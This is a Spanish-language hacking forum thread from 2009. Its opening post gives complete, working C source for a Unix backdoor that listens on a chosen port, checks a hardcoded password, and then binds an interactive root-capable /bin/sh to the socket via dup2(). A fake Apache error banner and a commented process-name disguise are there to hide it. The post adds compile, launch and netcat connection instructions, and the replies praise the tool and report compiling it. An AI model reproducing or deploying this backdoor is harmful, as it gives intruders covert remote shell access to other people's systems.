elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Píldoras formativas en seguridad de la información


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Linux/Unix (Moderadores: toxeek, berz3k)
| | | |-+  dup2() backdoor - by averno -
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: dup2() backdoor - by averno -  (Leído 4,633 veces)
toxeek
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.636


Ver Perfil
dup2() backdoor - by averno -
« en: 19 Febrero 2009, 23:43 »

Que tal.

Bueno. pues para pegar algo mas de code aqui expongo un tipico backdoor usando dup2() para duplicar los descriptores standares con el del descriptor de socket adecuado.

/*
 * dup2.c              By averno.
 * avernopolis@gmail.com
 *
 * Lo que hace es lo que hacen otros muchos backdoors que usan dup2().
 * Como primer argumento se le pasa el puerto en el que el backdoor
 * quedara a la escucha.
 * Tras ello, debemos de conectar con Netcat y proporcionar la password
 * correcta ( miren el code! ).
 *
 * Este backdoor se lo dedico a mi amiga xara, del foro.elhacker.net
 *
 * uso:
 * ./dup2 1337 &   // o un puerto permitido por el firewall
 *
 * Ahora, desde el exterior:
 * nc IP_backdoored 1337
 * > password:topotamadre
 * sh-3.2#
 *
 * Si no se le introduce la password correcta, se devuelve un error tipico
 * a modo de un Servidor HTTP
 *
 * Enjoy -_-/_)_)
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>

/* #define hide "rsyslogd -c 3" */

int main(int argc, char *argv[])
{

   struct sockaddr_in server;
   struct sockaddr_in client;

   char *fake = "HTTP/1.1 400 Bad Request\n"
                "Content-Type: text/html\n"
                "Server: Apache 1.2.7\n"
                "Connection: close\n"
                "\n"
                "Bad Request.\n\n";

   char pass[] = "topotamadre";
           
   int on = 1;
   int fd, fc;
   int sin_size, readbytes;
   char buf[512];
   
   if (argc != 2) {
     fprintf(stderr, "[~] Uso: %s <port>\n\n", argv[0]);
     exit(0);
   }

/*   strcpy(argv[0], hide); */

   if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
     fprintf(stderr, "[~] Can not create socket!: %s\n\n", strerror(errno));
     exit(-1);
   }

   if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR,(char *)&on, sizeof(on)) == -1) {
     perror("setsockopt()");
     exit(-1);
   }

   memset(&server, 0, sizeof(server));
   server.sin_family = AF_INET;
   server.sin_port = htons(atoi(argv[1]));
   server.sin_addr.s_addr = INADDR_ANY;

   if (bind(fd, (struct sockaddr *)&server, sizeof(server)) == -1) {
     perror("bind()");
     exit(-1);
   }

   if (listen(fd, 5) == -1) {
     perror("listen()");
     exit(-1);
   }

   sin_size = sizeof(struct sockaddr_in);

   while (1) {
        if ((fc = accept(fd, (struct sockaddr *)&client, &sin_size)) == -1) {
          perror("accept()");
          exit(-1);
        }

        if (fork() == 0) {
          close(fd);
         
          memset(&buf, 0, sizeof(buf));
 
          write(fc, "password:", 9);

          if ((readbytes = read(fc, buf, 512-1)) != 1) {
            buf[readbytes] = '\0';
       /*   printf("bytes readed: %i, buf: %s\n", readbytes, buf); */
            if (strncmp(buf, pass, 10) == 0) {

              close(0);
              close(1);
              close(2);
 
              dup2(fc, 0);
              dup2(fc, 1);
              dup2(fc, 2);

              execl("/bin/sh", "/bin/sh", "-i", NULL);
            }

            else {
                write(fc, fake, strlen(fake));
                close(fc);
                exit(0);
           }
         }

           close(fc);
           exit(0);
        }

        else {
            close(fc);
        }
   }

   return 0;

}
/* EOF */

Para compilar:
$ gcc -o dup2 dup2.c

Para usar:
# ./dup2 3117 &

Para conectar con backdoor ( mirense el firewall.. router.. )
# nc IP_Backdoored 3117

Suerte.

 /**** MODIFIKO ****/

Bueno, con un poco de tiempo lo pondre funcionalmente hidden..


« Última modificación: 19 Febrero 2009, 23:45 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.205



Ver Perfil
Re: dup2() backdoor - by averno -
« Respuesta #1 en: 20 Febrero 2009, 21:09 »

Te ha quedado muy wuapo, el fake banner HTTP si que es bueno, muchos husmean puertos haciendo telnet directamente,  probare y te cuento.

-berz3k.


En línea

berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.205



Ver Perfil
Re: dup2() backdoor - by averno -
« Respuesta #2 en: 20 Febrero 2009, 22:06 »

Compilado sobre port Fink para Mac/x86, bonito

Intruder Win32 to Mac/x86
 


-berz3k.

En línea

toxeek
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.636


Ver Perfil
Re: dup2() backdoor - by averno -
« Respuesta #3 en: 22 Febrero 2009, 05:37 »


Que tal berz3k??

Muchas gracias por el feedback. En serio se agradece.
Es muy muy grato ver que te ha gustado, y que lo has usado aun mas!

Si puedo en estas semanas saco algo de tiempo y veo que puedo hacerle..


Saludos!
En línea

"La envidia es una declaración de inferioridad"
Napoleón.
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.205



Ver Perfil
Re: dup2() backdoor - by averno -
« Respuesta #4 en: 24 Febrero 2009, 02:25 »

Venga! , ya me diras averno

-berz3k.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[C] Linux Trojan & dup2 ()
Programación C/C++
Garfield07 6 2,098 Último mensaje 19 Diciembre 2010, 14:57
por Garfield07
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines